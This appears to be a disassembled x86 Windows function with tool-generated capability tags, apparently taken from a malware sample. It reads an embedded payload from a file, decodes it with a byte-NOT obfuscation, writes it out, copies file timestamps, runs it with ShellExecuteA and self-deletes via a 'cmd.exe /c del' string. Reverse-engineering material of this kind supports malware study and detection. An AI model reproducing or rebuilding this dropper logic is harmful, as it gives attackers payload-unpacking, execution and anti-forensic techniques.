Function at 0x40685a
Capabilities:
Check if file exists
Create process on windows
Delete file
Get file attributes
Read file on windows
Self delete
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x4084e8
call sub.MSVCRT.dll__EH_prolog
sub esp, 0xd58
push ebx
push esi
push edi
mov esi, ecx
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 2
call sub.MFC42.DLL_CString::CString_1
lea eax, [ebp - 0x1ac]
mov byte [ebp - 4], 3
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4068d8
mov ecx, dword [ebp - 0x1a8]
push eax
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x1a0]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x198]
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x40], ecx
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 0x40c4f8
push dword [ebp + 0xc]
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
mov dword [ebp - 0x14], ebx
je 0x406c94
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.MSVCRT.dll__stat]
mov eax, dword [ebp - 0x58]
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
add eax, 0xfffffffc
push 0
push eax
push ebx
call edi
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
lea eax, [esi + 0x64]
push 1
push 4
push eax
call ebx
add esp, 0x24
test eax, eax
je 0x406c94
mov eax, dword [esi + 0x64]
push eax
mov dword [0x40c04c], eax
call dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push dword [ebp - 0x14]
mov dword [esi + 0xa30], eax
call edi
push 0x40ce80
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x18
mov dword [ebp - 0x20], eax
test eax, eax
je 0x406bcf
push 0
push dword [0x40c04c]
push dword [ebp - 0x14]
call edi
push dword [ebp - 0x14]
lea eax, [esi + 0x60]
push 1
push 4
push eax
call ebx
add esp, 0x1c
test eax, eax
je 0x406bcf
push dword [ebp - 0x14]
lea eax, [ebp - 0x48]
push 1
push 4
push eax
call ebx
add esp, 0x10
test eax, eax
je 0x406bcf
push dword [ebp - 0x14]
mov byte [ebp - 0xd], 1
push dword [0x40c04c]
push 1
push dword [esi + 0xa30]
call ebx
add esp, 0x10
mov edi, eax
test edi, edi
je 0x406a5b
cmp byte [ebp - 0xd], 0
je 0x406a1a
xor eax, eax
cmp dword [0x40c04c], eax
jle 0x4069f3
mov ecx, dword [esi + 0xa30]
add ecx, eax
inc eax
inc eax
mov dl, byte [ecx]
not dl
mov byte [ecx], dl
cmp eax, dword [0x40c04c]
jl 0x4069db
mov eax, dword [0x40c040]
add eax, 9
cmp eax, dword [0x40c04c]
jge 0x406a16
mov ecx, dword [esi + 0xa30]
add ecx, eax
add eax, 0xd
mov dl, byte [ecx]
not dl
mov byte [ecx], dl
jmp 0x4069fb
and byte [ebp - 0xd], 0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [esi + 0x60]
lea edx, [ecx + edi]
cmp edx, eax
jle 0x406a2b
sub eax, ecx
mov edi, eax
push dword [ebp - 0x20]
push edi
push 1
push dword [esi + 0xa30]
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp - 0x14]
add dword [ebp - 0x1c], eax
push dword [0x40c04c]
push 1
push dword [esi + 0xa30]
call ebx
add esp, 0x20
jmp 0x4069c1
push dword [ebp - 0x20]
call dword [sym.imp.MSVCRT.dll_fclose]
and dword [ebp - 0x1c], 0
pop ecx
mov edi, 0x40d0d4
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push ecx
mov ecx, esp
mov dword [ebp - 0x28], esp
push edi
call fcn.00407918
mov ecx, esi
call fcn.00402196
push edi
lea ecx, [ebp - 0x18]
call fcn.004078d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push str.cmd.exe__c_del__F__Q__
push eax
call sub.MFC42.DLL_operator_2
push 0x40c428
push eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 4
push eax
call sub.MFC42.DLL_operator_1
push dword [eax]
lea eax, [ebp - 0xd64]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
xor eax, eax
lea ecx, [ebp - 0xd64]
push eax
push eax
push eax
push ecx
push eax
mov ecx, esi
call fcn.004067bd
test eax, eax
je 0x406afb
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406be1
push 0x40ce80
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [ebp - 0x20], eax
test eax, eax
pop ecx
je 0x406be1
mov eax, dword [esi + 0x60]
mov ecx, dword [0x40c04c]
push 0
lea eax, [eax + ecx + 8]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.MSVCRT.dll_fseek]
push dword [ebp - 0x14]
mov byte [ebp - 0xd], 1
push dword [0x40c04c]
push 1
push dword [esi + 0xa30]
call ebx
add esp, 0x1c
test eax, eax
je 0x406bbf
cmp byte [ebp - 0xd], 0
je 0x406b92
and dword [ebp - 0x24], 0
cmp dword [0x40c04c], 0
jle 0x406b8e
mov ecx, dword [esi + 0xa30]
mov edx, dword [ebp - 0x24]
add dword [ebp - 0x24], 2
add ecx, edx
mov dl, byte [ecx]
not dl
mov byte [ecx], dl
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [0x40c04c]
jl 0x406b6e
and byte [ebp - 0xd], 0
push dword [ebp - 0x20]
push eax
push 1
push dword [esi + 0xa30]
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp - 0x14]
add dword [ebp - 0x1c], eax
push dword [0x40c04c]
push 1
push dword [esi + 0xa30]
call ebx
add esp, 0x20
jmp 0x406b57
push dword [ebp - 0x20]
call dword [sym.imp.MSVCRT.dll_fclose]
cmp dword [ebp - 0x1c], 0
pop ecx
jne 0x406be1
push dword [esi + 0xa30]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x406c94
push dword [ebp - 0x14]
call dword [sym.imp.MSVCRT.dll_fclose]
push dword [esi + 0xa30]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406c43
push ecx
lea eax, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
mov byte [ebp - 4], 3
call fcn.00403138
xor ebx, ebx
push 1
push ebx
push 1
push ebx
push edi
mov ecx, esi
call fcn.004067bd
jmp 0x406c45
xor ebx, ebx
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__unlink]
pop ecx
push ebx
push 0x80
push 3
push ebx
push 3
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call fcn.0040218b
pop ecx
push ebx
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0xc